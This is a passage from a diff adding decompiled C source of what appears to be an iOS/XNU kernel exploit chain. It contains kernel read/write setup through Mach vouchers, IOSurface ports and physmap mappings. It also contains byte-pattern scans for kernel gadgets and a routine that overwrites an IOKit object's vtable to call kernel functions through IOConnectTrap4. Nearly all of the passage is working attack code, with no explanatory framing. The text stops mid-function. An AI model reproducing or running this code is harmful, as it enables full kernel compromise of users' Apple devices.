krwCtx->stride_0x168 + 280; + } + else + { + v12 = v14 + krwCtx->stride_0x168 + 280; + v13 = krwCtx->slideMaybe; + } + kwrite_physmap_with_a3_ptr(krwCtx, v12, v13); + } + setup_voucher_exploit_ctx(krwCtx, &v18[v8 / 4], name); + mach_port_deallocate(mach_task_self_, name); + } + v8 += 4LL; + ++v2; + if ( v9 == v8 ) + return true; + } + } + if ( krwCtx->pipeFd0 != -1 ) + { + v5 = krwCtx->pipeFd1; + if ( v5 != -1 ) + { + v17[2] = krwCtx->pipeFd0; + v6 = 4; + v7 = 3; + goto LABEL_13; + } + } + return false; + } + } + } + } + } + return result; +} + +//----- (000000000001D1B0) ---------------------------------------------------- +bool __fastcall krw_setup_physmap(struct_krwCtx *krwCtx) +{ + // struct_krwCtx *krwCtx; // x19 + vm_size_t v2; // x20 + bool result; // w0 + unsigned int v4; // w1 + ipc_voucher_t v5; // w8 + kern_return_t memory_entry; // w8 + kern_return_t v7; // w8 + vm_address_t v8; // x1 + __int64 portKaddr; // x0 + __int64 v9; // x20 + unsigned int *v10; // x21 + unsigned int *v11; // x22 + unsigned int v12; // w23 + ipc_voucher_t v13; // [xsp+10h] [xbp-90h] BYREF + mem_entry_name_port_t object_handle; // [xsp+14h] [xbp-8Ch] BYREF + vm_address_t address; // [xsp+18h] [xbp-88h] BYREF + vm_size_t size; // [xsp+20h] [xbp-80h] BYREF + int v17; // [xsp+2Ch] [xbp-74h] BYREF + unsigned int v18; // [xsp+30h] [xbp-70h] BYREF + ipc_voucher_t v19[3]; // [xsp+3Ch] [xbp-64h] BYREF + + v2 = vm_page_size; + address = 0; + size = vm_page_size; + if ( krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(8020, 241, 7, 1023, 1023) ) + { + v19[0] = 0; + result = voucher_create_mach_voucher(krwCtx, 0x3122334455667788LL, v19) != 0; + if ( !result ) + return result; + v4 = v19[0]; + } + else + { + v11 = (unsigned int *)iosurface_enum_mach_port(krwCtx, 0); + if ( !v11 ) + return false; + v4 = *v11; + } + v18 = v4; + if ( krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(8020, 241, 7, 1023, 1023) ) + { + portKaddr = task_self_get_ipc_port(krwCtx, v4); + if ( !portKaddr ) + return false; + result = kread_u32(krwCtx, portKaddr, &v17); + if ( !result ) + return result; + if ( (v17 & 0x3FF) == 0x1C ) + return true; + } + else if ( v4 + 1 > 1 ) + { + return true; + } + v5 = krwCtx->ioConnectPort; + if ( v5 + 1 < 2 ) + return false; + if ( !krwCtx->ioConnectMappedAddr ) + return false; + if ( !krwCtx->ioConnectMappedSize ) + return false; + if ( (unsigned int)(krwCtx->ioConnectMemPort + 1) < 2 ) + return false; + v19[0] = krwCtx->ioConnectMemPort; + v19[1] = v5; + if ( !krwCtx->gap_0x19D0_size8 || !krwCtx->ioConnectKernelValue ) + return false; + memory_entry = mach_make_memory_entry(mach_task_self_, &size, 0, 131075, &object_handle, 0); + result = false; + if ( !memory_entry ) + { + v19[2] = object_handle; + v7 = vm_map(mach_task_self_, &address, v2, 0, 1, object_handle, 0, 0, 3, 3, 2u); + result = false; + if ( !v7 ) + { + bzero((void *)address, v2); + v8 = address; + *(uint64_t *)address = krwCtx->gap_0x19D0_size8; + *(uint64_t *)(v8 + 8) = krwCtx->ioConnectKernelValue; + *(uint32_t *)(v8 + 16) = krwCtx->ioConnectDataOffset; + *(uint32_t *)(v8 + 20) = krwCtx->ioConnectDataSize; + result = vm_deallocate(mach_task_self_, v8, v2); + v9 = 0; + v10 = &v18; + do + { + if ( krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(8020, 241, 7, 1023, 1023) ) + { + v13 = 0; + result = voucher_create_mach_voucher(krwCtx, v9 + 0x3122334455667788LL, &v13) != 0; + if ( !result ) + return result; + *v10 = v13; + result = setup_voucher_exploit_ctx(krwCtx, v10, v19[v9]) != 0; + if ( !result ) + return result; + } + else + { + v11 = (unsigned int *)iosurface_enum_mach_port(krwCtx, v9); + if ( !v11 ) + return false; + v12 = v19[v9]; + portKaddr = task_self_get_ipc_port(krwCtx, v12); + if ( !portKaddr ) + return false; + if ( (unsigned int)kread_and_vm_attr_double(krwCtx, portKaddr) || mach_port_mod_refs(mach_task_self_, v12, 0, 0xFFFF) ) + return false; + *v11 = v12; + } + ++v9; + ++v10; + result = true; + } + while ( v9 != 3 ); + } + } + return result; +} + +//----- (000000000001D4A0) ---------------------------------------------------- +bool __fastcall krw_setup_iosurface(struct_krwCtx *krwCtx) +{ + // struct_krwCtx *krwCtx; // x19 + vm_size_t v1; // x20 + mach_port_name_t *portSlot; // x0 + int v4; // w8 + kern_return_t memory_entry; // w8 + kern_return_t v6; // w8 + uint64_t *v7; // x1 + kern_return_t status; // w0 + __int64 v9; // x21 + char v10; // w8 + char v11; // w24 + unsigned int *v12; // x20 + unsigned int v13; // w21 + __int64 portKaddr; // x0 + mem_entry_name_port_t object_handle; // [xsp+Ch] [xbp-54h] BYREF + vm_address_t address; // [xsp+10h] [xbp-50h] BYREF + vm_size_t size; // [xsp+18h] [xbp-48h] BYREF + uint32_t v17[2]; // [xsp+20h] [xbp-40h] + + v1 = vm_page_size; + address = 0; + size = vm_page_size; + if ( krwCtx->xnuVersionPacked < XNU_VERSION_PACKED(8020, 241, 8, 0, 0) ) + return false; + portSlot = (mach_port_name_t *)iosurface_enum_mach_port(krwCtx, 0); + if ( !portSlot ) + return false; + if ( *portSlot + 1 > 1 ) + return true; + if ( (unsigned int)(krwCtx->threadForKernelRead + 1) < 2 + || !krwCtx->threadStateKrwPhysAddr + || (unsigned int)(krwCtx->ioSurfaceMemEntryMaybe + 1) < 2 ) + { + return false; + } + v17[0] = krwCtx->ioSurfaceMemEntryMaybe; + v4 = setup_physmap_krw(krwCtx, 0); + if ( v4 ) + return false; + if ( !krwCtx->gap_0x19D0_size8 + || !krwCtx->physmapBasePhys + || !krwCtx->physmapSize + || !krwCtx->percpuBasePhys + || !krwCtx->percpuSize ) + { + return false; + } + memory_entry = mach_make_memory_entry(mach_task_self_, &size, 0, 131075, &object_handle, 0); + if ( !memory_entry ) + { + v17[1] = object_handle; + v6 = vm_map(mach_task_self_, &address, v1, 0, 1, object_handle, 0, 0, 3, 3, 2u); + if ( !v6 ) + { + bzero((void *)address, v1); + v7 = (uint64_t *)address; + *(uint64_t *)address = krwCtx->gap_0x19D0_size8; + v7[4] = krwCtx->iogpuKobjPtr2; + v7[5] = krwCtx->iogpuObjCount; + v7[6] = krwCtx->physmapBasePhys; + v7[7] = krwCtx->physmapSize; + v7[8] = krwCtx->percpuBasePhys; + v7[9] = krwCtx->percpuSize; + status = vm_deallocate(mach_task_self_, (vm_address_t)v7, v1); + v9 = 0; + v10 = 1; + while ( 1 ) + { + v11 = v10; + portSlot = (mach_port_name_t *)iosurface_enum_mach_port(krwCtx, v9); + if ( !portSlot ) + break; + v12 = portSlot; + v13 = v17[v9]; + portKaddr = task_self_get_ipc_port(krwCtx, v13); + if ( !portKaddr ) + break; + if ( (unsigned int)kread_and_vm_attr_double(krwCtx, portKaddr) ) + return false; + status = mach_port_mod_refs(mach_task_self_, v13, 0, 0xFFFF); + if ( status ) + return false; + v10 = 0; + *v12 = v13; + v9 = 1; + if ( (v11 & 1) == 0 ) + return iosurface_check_and_alloc_port(krwCtx) == 0; + } + } + } + return false; +} +// 0: using guessed type int def_3E8F0; + +//----- (000000000001D70C) ---------------------------------------------------- +bool __fastcall krw_setup_iosurface_v2(struct_krwCtx *krwCtx, uint32_t *a2) +{ + // struct_krwCtx *krwCtx; // x19 + vm_size_t v2; // x20 + __int64 v5; // x0 + __int64 v7; // x23 + char v8; // w8 + int v9; // w21 + char v10; // w26 + mach_port_name_t *v11; // x0 + mach_port_name_t v12; // w1 + __int64 v13; // x8 + char v14; // w9 + char v15; // w23 + mach_port_name_t v16; // w1 + bool v17; // zf + __int64 v18; // x23 + __int64 v19; // x23 + vm_address_t v20; // x8 + __int64 v21; // x9 + __int64 v22; // x9 + int v23; // w10 + __int64 v24; // x11 + int v25; // w8 + int v26; // [xsp+Ch] [xbp-54h] BYREF + vm_address_t address; // [xsp+10h] [xbp-50h] BYREF + mem_entry_name_port_t object[2]; // [xsp+18h] [xbp-48h] + + address = 0; + *(uint64_t *)object = 0; + v2 = vm_page_size; + v26 = -1; + if ( krwCtx->xnuVersionPacked < XNU_VERSION_PACKED(8020, 241, 8, 0, 0) ) + return false; + v5 = fd_open_dev_null(&v26); + if ( (uint32_t)v5 ) + return false; + v7 = 0; + v8 = 1; + v9 = 163878; + while ( 1 ) + { + v10 = v8; + v11 = (mach_port_name_t *)iosurface_enum_mach_port(krwCtx, v7); + if ( !v11 ) + break; + v12 = *v11; + object[v7] = *v11; + if ( v12 + 1 < 2 ) + break; + v5 = mach_port_mod_refs(mach_task_self_, v12, 0, 1); + if ( (uint32_t)v5 ) + break; + v8 = 0; + v7 = 1; + if ( (v10 & 1) == 0 ) + { + if ( !vm_map(mach_task_self_, &address, v2, 0, 1, object[1], 0, 0, 3, 3, 2u) ) + { + v18 = *(uint64_t *)address; + if ( validate_kaddr_range(krwCtx, *(uint64_t *)address) ) + { + krwCtx->gap_0x19D0_size8 = v18; + v19 = *(uint64_t *)(address + 32); + if ( validate_kaddr_range(krwCtx, v19) ) + { + krwCtx->iogpuKobjPtr2 = v19; + v20 = address; + v21 = *(uint64_t *)(address + 40); + if ( (unsigned __int64)(v21 - 1) <= 0x1F ) + { + krwCtx->iogpuObjCount = v21; + krwCtx->ioSurfaceMemEntryMaybe = object[0]; + v22 = *(uint64_t *)(v20 + 48); + if ( v22 ) + { + if ( (v22 & 7) == 0 ) + { + v23 = *(uint32_t *)(v20 + 56); + if ( v23 ) + { + v24 = *(uint64_t *)(v20 + 64); + if ( v24 ) + { + if ( (v24 & 7) == 0 ) + { + v25 = *(uint32_t *)(v20 + 72); + if ( v25 ) + { + krwCtx->physmapBasePhys = v22; + krwCtx->physmapSize = v23; + krwCtx->percpuBasePhys = v24; + krwCtx->percpuSize = v25; + v9 = krw_read_validation(krwCtx, 1); + if ( !v9 ) + { + fd_close(v26); + v26 = -1; + v9 = krw_write_validation(krwCtx); + } + } + } + } + } + } + } + } + } + } + } + break; + } + } + if ( v26 != -1 ) + fd_close(v26); + if ( v9 ) + { + v13 = 0; + v14 = 1; + do + { + v15 = v14; + v16 = object[v13]; + if ( v16 + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, v16); + v14 = 0; + v13 = 1; + } + while ( (v15 & 1) != 0 ); + } + if ( address ) + v17 = v2 == 0; + else + v17 = 1; + if ( !v17 ) + vm_deallocate(mach_task_self_, address, v2); + *a2 = v9 == 0; + return true; +} + +//----- (000000000001D970) ---------------------------------------------------- +mach_vm_address_t __fastcall build_kernel_vtable(struct_krwCtx *krwCtx, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, uint64_t *a7) +{ + // struct_krwCtx *krwCtx; // x19 + uint64_t *v2; // x21 + uintptr_t v4; // x22 + uintptr_t v6; // x23 + uintptr_t v8; // x24 + __int64 v10; // x25 + __int64 v12; // x26 + __int64 v13; // x19 + unsigned int v14; // w8 + unsigned int v15; // w10 + unsigned int v16; // w8 + __int64 v17; // x0 + const CFDictionaryRef *v18; // x0 + io_service_t MatchingService; // w0 + io_object_t v20; // w20 + unsigned int v21; // w27 + mach_vm_address_t v22; // x28 + unsigned __int64 v23; // x0 + __int64 v24; // x8 + unsigned int v25; // w22 + __int64 address; // [xsp+18h] [xbp-1098h] + unsigned int size[3]; // [xsp+24h] [xbp-108Ch] BYREF + __int128 v29; // [xsp+30h] [xbp-1080h] + __int64 v30; // [xsp+40h] [xbp-1070h] + io_connect_t connect; // [xsp+4Ch] [xbp-1064h] BYREF + __int128 v32; // [xsp+50h] [xbp-1060h] BYREF + __int64 v33; // [xsp+60h] [xbp-1050h] + + v2 = a7; + v4 = a6; + v6 = a5; + v8 = a4; + v10 = a3; + v12 = a2; + v13 = krwCtx; + krwCtx = KRWCTX_FROM_UINTPTR(v13); + connect = 0; + *(uint64_t *)&size[1] = 0; + v14 = krwCtx->pageSizeOrSomething; + v15 = 0x1000 % v14; + v16 = v14 - 0x1000 % v14 + 4096; + if ( !v15 ) + v16 = 4096; + size[0] = v16; + if ( !krwCtx->gap_0x200 ) + { + macho_find_text_section(krwCtx->kernelMachoCtx, &v32); + v29 = v32; + v30 = v33; + v17 = kernel_pattern_scan((__int64)&v32, "00 00 01 91 C0 03 5F D6", 0); + if ( !v17 ) + return 0; + *(uint64_t *)(v13 + 512) = v17; + } + v18 = IOServiceMatching("AppleM2ScalerCSCDriver"); + MatchingService = IOServiceGetMatchingService(kIOMasterPortDefault, v18); + v20 = MatchingService; + v21 = MatchingService + 1; + if ( MatchingService + 1 < 2 ) + goto LABEL_21; + v22 = 0; + if ( IOServiceOpen(MatchingService, mach_task_self_, 0, &connect) ) + goto LABEL_22; + if ( connect + 1 < 2 ) + { +LABEL_21: + v22 = 0; + goto LABEL_22; + } + v22 = get_task_kobject_addr(krwCtx, connect); + if ( v22 ) + { + if ( kread_physmap_decorated(krwCtx, v22, (unsigned __int64 *)&size[1]) ) + { + if ( validate_kaddr_range(v13, *(__int64 *)&size[1]) ) + { + v23 = alloc_physmap_page(v13, size); + if ( v23 ) + { + address = v23; + if ( !(unsigned int)krw_read_thunk(krwCtx, *(__int64 *)&size[1], 4096, &v32) + || !(unsigned int)kwrite_with_retry(v13, address, (__int64)&v32, 4096) ) + { + goto LABEL_28; + } + v24 = 1464; + if ( *(int *)(v13 + 320) > 6152 ) + v24 = 1472; + if ( kwrite64(v13, v24 + address, *(uint64_t *)(v13 + 512)) ) + { + kwrite64(v13, v22, address); + kwrite64(v13, v22 + 64, 8); + kwrite64(v13, v22 + 72, v12); + kwrite64(v13, v22 + 80, 2 * v10 - 16); + v25 = IOConnectTrap4(connect, 0, v8, v6, v4, 0); + kwrite64(v13, v22 + 64, 0); + kwrite64(v13, v22 + 72, 0); + kwrite64(v13, v22 + 80, 0); + kwrite64(v13, v22, *(__int64 *)&size[1]); + if ( v2 ) + *v2 = v25; + v22 = 1; + } + else + { +LABEL_28: + v22 = 0; + } + map_shared_mem_and_transfer_data(v13, address, size[0]); + goto LABEL_22; + } + } + } + goto LABEL_21; + } +LABEL_22: + if ( connect + 1 >= 2 ) + IOServiceClose(connect); + if ( v21 >= 2 ) + IOObjectRelease(v20); + return v22; +} +// 1D9A8: variable 'v1' is possibly undefined +// 1D9AC: variable 'v3' is possibly undefined +// 1D9B0: variable 'v5' is possibly undefined +// 1D9B4: variable 'v7' is possibly undefined +// 1D9B8: variable 'v9' is possibly undefined +// 1D9BC: variable 'v11' is possibly undefined +// 48940: using guessed type __int64 __chkstk_darwin(void); +// 48940: using guessed type __int64 __fastcall __chkstk_darwin(uint64_t, uint64_t); + +//----- (000000000001DCA8) ---------------------------------------------------- +__int64 kernel_pattern_scan(SearchObj *obj, const char *pattern_str, uint32_t align_flag) +{ + uint32_t flags = 0; // unsued + + // Zero the strtol endptr slot + // str xzr, [sp, #0x28] + char *strtol_end = NULL; + + if (pattern_str == NULL) + return NULL; + + // strdup the pattern so strsep can mutate it + char *buf = strdup(pattern_str); + if (buf == NULL) + return NULL; + + char *buf_saved = buf; // x24, kept for free() later + char *str_ptr = buf; // [sp+0x10], consumed by strsep + int16_t pat[128]; // [sp+0x30], x20 = sp+0x30 + intptr_t pat_len = 0; // x22, count of tokens written + intptr_t anchor = 0; // x23, index of '-' separator + + // String literals for token comparison + // x25 = " " (space separator for strsep) + // x26 = "-" + // x27 = "+" + // x28 = ".." + + char *token; + while ((token = strsep(&str_ptr, " ")) != NULL) { + + if (strcmp(token, "-") == 0) { + // '-' marks the anchor point: anchor = current pat_len + anchor = pat_len; + // b → +276 (increment pat_len) + + } else if (strcmp(token, "+") == 0) { + // '+' marks anchor+1 + anchor = pat_len + 1; + // b → +276 + + } else if (strcmp(token, "..") == 0) { + // ".." = wildcard: store 0xFFFF (-1 as int16_t) + pat[pat_len] = (int16_t)0xFFFF; + // fall into +264: check pat_len <= 0x7e, then increment + + } else { + // Hex byte token: parse with strtol base 16 + // strtol(token, &strtol_end, 16) + long val = strtol(token, &strtol_end, 16); + pat[pat_len] = (int16_t)(val & 0xFF); // and w8,w0,#0xff; strh + + // Check if strtol consumed the whole token + // ldr x8, [sp,#0x28]; ldrb w8, [x8] + // cbz w8 → +264 (good, advance) + // else → +336 (error, free and return NULL) + if (*strtol_end != '\0') { + // Parse error — strtol stopped early + free(buf_saved); + return NULL; + } + } + + // +264: guard against overflow (max 0x7f tokens) + if (pat_len > 0x7e) { + free(buf_saved); + return NULL; + } + + pat_len++; // add x22, x22, #1 + + // +276: loop back if str_ptr still has content + // cbnz x8 (=[sp+0x10]) → strsep loop + } + + // Done parsing — free the strdup'd buffer + free(buf_saved); + + // Copy obj into local snapshot (24 bytes: q0 + x8) + // ldr q0,[x21]; str q0,[sp+0x10] + // ldr x8,[x21+0x10]; str x8,[sp+0x20] + SearchObj local_obj; + memcpy(&local_obj, obj, 0x18); + + // Call scan_kernel_text_gadget with parsed pattern + // x0 = &local_obj + // x1 = pat (int16_t array at sp+0x30) + // x2 = pat_len (x22) + // x3 = anchor (x23) + // w4 = align_flag (w20, from ldp w4,w5,[sp+0x8]) + // w5 = flags (w19, from ldp w4,w5,[sp+0x8]) + return scan_kernel_text_gadget(&local_obj, pat, pat_len, anchor, align_flag, flags); +} + +//----- (000000000001DE40) ---------------------------------------------------- +__int64 __fastcall scan_kernel_text_gadget(__int64 *a1, __int64 a2, __int64 a3, __int64 a4, int a5, __int64 a6) +{ + int len; // w22 + int last; // w22 + int i; // w10 + unsigned __int64 page_mask; // x28 + unsigned int align_mask; // w8 + unsigned __int64 mapped; // x8 + unsigned __int64 mapped_size; // x1 + unsigned __int64 mapped_end; // x26 + unsigned __int64 cursor; // x22 + unsigned __int64 last_prefetched; // x9 + unsigned __int64 vm_addr; // x8 + __int16 *pattern; // x23 + __int16 pat_byte; // w10 + __int64 scan_range[3]; // [xsp+10h] [xbp-180h] BYREF + sub_197A8_result v31; // x0,x1 + +#if defined(__arm64e__) + __asm__ volatile("xpaci %0" : "+r"(a2)); +#endif + __asm__ volatile("" : : "r"(a6)); + len = (int)a3; + pattern = (__int16 *)a2; + if ( a3 != (char)a3 || len <= 0 || !a1[2] || !a1[1] ) + return 0; + + last = len - 1; + while ( last >= 0 && pattern[last] == -1 ) + --last; + if ( last < 0 ) + { + vm_addr = a1[1]; + if ( !a5 || (vm_addr & (unsigned int)(a5 - 1)) == 0 ) + return vm_addr ? vm_addr + a4 : 0; + return 0; + } + + scan_range[0] = a1[0]; + scan_range[1] = a1[1]; + scan_range[2] = a1[2]; + v31 = macho_find_segment((__int64 **)scan_range, 1); + mapped = v31.addr; + mapped_size = v31.size; + if ( !mapped || !mapped_size ) + return 0; + + mapped_end = mapped + mapped_size; + if ( mapped_size < (unsigned int)len ) + return 0; + + page_mask = (unsigned __int64)-(int)*(uint32_t *)(*a1 + 56); + align_mask = a5 ? (unsigned int)(a5 - 1) : 0; + last_prefetched = 0; + cursor = mapped; + while ( cursor <= mapped_end - (unsigned int)len ) + { + unsigned __int64 touch; + + touch = cursor + (unsigned int)last; + if ( ((last_prefetched ^ touch) & page_mask) != 0 ) + { + macho_walk_segment_by_name_0(*a1, touch, 1u, mapped_end - touch); + last_prefetched = touch; + } + + vm_addr = a1[1] + cursor - mapped; + if ( !align_mask || (vm_addr & align_mask) == 0 ) + { + for ( i = 0; i < len; ++i ) + { + pat_byte = pattern[i]; + if ( pat_byte != -1 && *(unsigned __int8 *)(cursor + i) != (unsigned __int8)pat_byte ) + break; + } + if ( i == len ) + return vm_addr ? vm_addr + a4 : 0; + } + ++cursor; + } + return 0; +} + +//----- (000000000001E0C8) ---------------------------------------------------- +__int64 __fastcall search_binary_pattern_text(__int128 *a1, char *__s, int a3, char a4) +{ + size_t v8; // x24 + uint16_t *v9; // x0 + void *v10; // x21 + __int64 v11; // x10 + unsigned int v12; // w11 + __int16 v13; // w12 + __int64 v15; // x2 + __int64 v16; // x19 + __int64 scan_range[3]; // [xsp+0h] [xbp-60h] BYREF + + v8 = strlen(__s); + v9 = malloc(2 * (v8 + 2)); + if ( !v9 ) + return 0; + v10 = v9; + v9[v8 + 1] = 0; + *v9 = 0; + if ( v8 ) + { + v11 = 0; + v12 = 1; + do + { + v13 = (unsigned __int8)__s[v11]; + v11 = v12; + v9[v12] = v13; + } + while ( v8 > v12++ ); + } + if ( (a4 & 0x20) != 0 ) + v15 = v8 + 2; + else + v15 = v8 + 1; + scan_range[0] = *(uint64_t *)a1; + scan_range[1] = *((uint64_t *)a1 + 1); + scan_range[2] = *((uint64_t *)a1 + 2); + v16 = scan_kernel_text_gadget(scan_range, (__int64)&v9[((unsigned __int8)(a4 & 0x20) >> 5) ^ 1], v15, (a4 & 0x20) != 0, a3, a4); + free(v10); + return v16; +} + +//----- (000000000001E1B8) ---------------------------------------------------- +unsigned __int64 __fastcall find_pattern_kernel_section(__int64 *a1, __int64 a2, int a3) +{ + unsigned __int64 v5; // x1 + unsigned __int64 v6; // x21 + unsigned __int64 result; // x0 + unsigned __int64 v8; // x22 + unsigned __int64 v9; // x25 + unsigned __int64 v10; // x23 + unsigned __int64 v11; // x27 + char *v12; // x24 + __int64 scan_range[3]; // [xsp+0h] [xbp-70h] BYREF + __int64 __s2; // [xsp+18h] [xbp-58h] BYREF + sub_197A8_result v13; // x0,x1 + + scan_range[0] = a1[0]; + scan_range[1] = a1[1]; + scan_range[2] = a1[2]; + __s2 = a2; + v13 = macho_find_segment((__int64 **)scan_range, 1); + v6 = v13.addr; + v5 = v13.size; + result = 0; + if ( v6 ) + { + v8 = v5; + if ( v5 ) + { + v9 = v6 + v5; + v10 = *(unsigned __int8 *)(*a1 + 52); + if ( v6 + v10 > v6 + v5 ) + { + return 0; + } + else + { + v11 = v6; + v12 = (char *)v6; + while ( 1 ) + { + if ( !a3 || (v11 & (a3 - 1)) == 0 ) + { + macho_walk_segment_by_name_0(*a1, (unsigned __int64)v12, v10, v8); + if ( !memcmp(v12, &__s2, v10) ) + break; + } + ++v12; + ++v11; + --v8; + if ( (unsigned __int64)&v12[v10] > v9 ) + return 0; + } + return a1[1] - v6 + v11; + } + } + } + return result; +} +// 1E20C: variable 'v5' is possibly undefined + +//----- (000000000001E2BC) ---------------------------------------------------- +char *__fastcall find_pattern_macho_binary(__int64 *a1, uint32_t *a2, uint32_t *a3, unsigned __int64 a4) +{ + unsigned __int64 v8; // x1 + unsigned __int64 v9; // x23 + char *result; // x0 + unsigned __int64 v11; // x24 + uint32_t *v12; // x10 + __int64 v13; // x12 + __int64 scan_range[3]; // [xsp+0h] [xbp-50h] BYREF + sub_197A8_result v14; // x0,x1 + + scan_range[0] = a1[0]; + scan_range[1] = a1[1]; + scan_range[2] = a1[2]; + v14 = macho_find_segment((__int64 **)scan_range, 1); + v9 = v14.addr; + v8 = v14.size; + result = 0; + if ( v9 && v8 ) + { + v11 = v9 + v8; + macho_walk_segment_by_name_0(*a1, v9, v8, v8); + if ( v9 < v11 ) + { + v12 = (uint32_t *)v9; + do + { + if ( (*a3 & *v12) == *a2 ) + { + if ( (unsigned __int64)&v12[a4] >= v11 ) + return 0; + if ( a4 < 2 ) + { +LABEL_11: + result = (char *)v12 + a1[1] - v9; + if ( result ) + return result; + } + else + { + v13 = 1; + while ( (a3[v13] & v12[v13]) == a2[v13] ) + { + if ( a4 == ++v13 ) + goto LABEL_11; + } + } + } + ++v12; + } + while ( (unsigned __int64)v12 < v11 ); + } + return 0; + } + return result; +} +// 1E314: variable 'v8' is possibly undefined + +//----- (000000000001E3C4) ---------------------------------------------------- +unsigned __int64 __fastcall kernel_find_symbol_by_cstring_scan(__int64 a1, char *a2, const char *a3, char *a4) +{ + unsigned __int64 result; // x0 + __int64 v9; // x22 + __int64 v10[3]; // [xsp+0h] [xbp-50h] BYREF + __int128 v11; // [xsp+18h] [xbp-38h] BYREF + + macho_getsectbyname("__TEXT", a1, "__cstring", &v11); + result = search_binary_pattern_text(&v11, a4, 0, 33); + if ( result ) + { + v9 = result; + macho_getsectbyname(a2, a1, a3, v10); + return find_pattern_kernel_section(v10, v9, *(unsigned __int8 *)(a1 + 52)); + } + return result; +} + +//----- (000000000001E45C) ---------------------------------------------------- +char *__fastcall find_kernel_gadget(__int64 a1) +{ + char *result; // x0 + unsigned __int64 v3; // x8 + unsigned int v4; // w20 + const char *v5; // x9 + const char *v6; // x10 + char *v7; // x1 + __int64 v8; // x8 + uint64_t v9[3]; // [xsp+8h] [xbp-58h] BYREF + uint64_t v10[3]; // [xsp+20h] [xbp-40h] BYREF + uint64_t v11[3]; // [xsp+38h] [xbp-28h] BYREF + + if ( krw_ctx_has_flag(KRWCTX_FROM_RAW_FIELD(a1, 280), KRW_CTX_FLAG_CPU_HIGH_CORE_CLUSTER) ) + { + macho_find_text_section(a1, v11); + result = (char *)kernel_pattern_scan((__int64)v11, "08 FD 64 D3 1F 21 00 F1 .. 00 00 54", 0); + if ( !result ) + return result; + v3 = (unsigned __int64)(result + 12); + return find_kernel_func_by_branch((__int64 *)a1, (__int64 *)(v3 & 0xFFFFFFFFFFFFFFFCLL), 1); + } + if ( *(uint64_t *)(a1 + 136) >= XNU_VERSION_PACKED(8792, 80, 25, 0, 0) && !krw_ctx_has_flag(KRWCTX_FROM_RAW_FIELD(a1, 280), KRW_CTX_FLAG_CPU_A9) ) + { + macho_find_text_section(a1, v10); + result = (char *)kernel_pattern_scan((__int64)v10, ".. FD .. D3 .. 00 00 B5", 0); + if ( !result ) + return result; + v3 = (unsigned __int64)(result + 8); + return find_kernel_func_by_branch((__int64 *)a1, (__int64 *)(v3 & 0xFFFFFFFFFFFFFFFCLL), 1); + } + v4 = get_sptm_version_index(a1); + macho_find_text_section(a1, v9); + v5 = "6B FD 62 D3 7F 19 00 F1 .. .. .. 54"; + v6 = ".. 01 .. 8B 88 D0 38 D5 E8 00 00 B5"; + if ( v4 != 1 ) + v6 = 0; + if ( v4 <= 1 ) + v5 = v6; + if ( v4 <= 4 ) + v7 = (char *)v5; + else + v7 = ".. FD .. D3 .. .. 00 F1 .. .. .. 54"; + result = (char *)kernel_pattern_scan((__int64)v9, v7, 0); + v8 = 12; + if ( v4 <= 1 ) + v8 = -8; + if ( result ) + { + v3 = (unsigned __int64)&result[v8]; + return find_kernel_func_by_branch((__int64 *)a1, (__int64 *)(v3 & 0xFFFFFFFFFFFFFFFCLL), 1); + } + return result; +} + +//----- (000000000001E598) ---------------------------------------------------- +__int64 __fastcall get_sptm_version_index(__int64 a1) +{ + int v1; // w8 + + v1 = *(uint32_t *)(a1 + 112); + if ( v1 > 8791 ) + { + if ( v1 == 8792 || v1 == 8796 ) + return 5LL; + if ( v1 == 10002 ) + return 6LL; + } + else + { + if ( (unsigned int)(v1 - 8019) < 2 ) + return 4LL; + if ( v1 == 6153 ) + return 2LL; + if ( v1 == 7195 ) + return 3LL; + } + return 0LL; +} + +//----- (000000000001E620) ---------------------------------------------------- +unsigned __int64 __fastcall find_kernel_func_aligned(__int64 *a1, __int64 a2) +{ + return (unsigned __int64)find_kernel_func_by_branch(a1, (__int64 *)(a2 & 0xFFFFFFFFFFFFFFFCLL), 1); +} + +//----- (000000000001E62C) ---------------------------------------------------- +__int64 __fastcall find_kernel_func_by_scan(__int64 *a1) +{ + unsigned int v2; // w20 + bool v3; // zf + unsigned __int64 v4; // x0 + unsigned __int64 v5; // x8 + const char *v6; // x8 + char *v7; // x1 + __int64 result; // x0 + __int128 v9; // [xsp+0h] [xbp-60h] BYREF + __int64 v10; // [xsp+10h] [xbp-50h] + __int64 v11; // [xsp+20h] [xbp-40h] BYREF + __int64 v12; // [xsp+28h] [xbp-38h] + __int64 v13; // [xsp+30h] [xbp-30h] + __int128 v14; // [xsp+38h] [xbp-28h] BYREF + __int64 v15; // [xsp+48h] [xbp-18h] + + v2 = get_sptm_version_index((__int64)a1); + macho_find_text_section((__int64)a1, &v14); + macho_getsectbyname("__DATA_CONST", (__int64)a1, "__mod_init_func", &v11); + if ( v12 ) + v3 = v13 == 0; + else + v3 = 1; + if ( !v3 ) + { + v4 = macho_read_u64_thunk(a1, v12); + if ( v4 ) + { + v5 = *((uint64_t *)&v14 + 1) - v4; + if ( *((uint64_t *)&v14 + 1) < v4 && v4 < v15 + *((uint64_t *)&v14 + 1) ) + { + *((uint64_t *)&v14 + 1) = v4; + v15 += v5; + } + } + } + v6 = "68 72 40 B9 08 01 19 32 68 72 00 B9"; + if ( v2 != 1 ) + v6 = 0; + if ( v2 <= 1 ) + v7 = (char *)v6; + else + v7 = "68 82 40 B9 08 01 19 32 68 82 00 B9"; + v9 = v14; + v10 = v15; + result = kernel_pattern_scan((__int64)&v9, v7, 0); + if ( result ) + { + result = (__int64)find_kernel_func_by_branch(a1, (__int64 *)((result + 12) & 0xFFFFFFFFFFFFFFFCLL), 1); + if ( result ) + return macho_read_u64_thunk(a1, result); + } + return result; +} +// 19B94: using guessed type __int64 __fastcall macho_read_u64_thunk(uint64_t, uint64_t); + +//----- (000000000001E728) ---------------------------------------------------- +char *__fastcall find_kernel_branch_target(__int64 *a1) +{ + char *result; // x0 + char *v3; // x20 + unsigned __int64 v4; // x21 + uint64_t v5[3]; // [xsp+8h] [xbp-48h] BYREF + + macho_find_text_section((__int64)a1, v5); + result = (char *)kernel_pattern_scan((__int64)v5, "E0 03 15 AA .. .. .. .. FE 03 13 AA", 0); + if ( result ) + { + result = resolve_branch_target(a1, (__int64 *)(result + 4)); + if ( result ) + { + v3 = result; + v4 = -4; + while ( ((unsigned int)macho_read_u32(a1, (__int64 *)&v3[v4 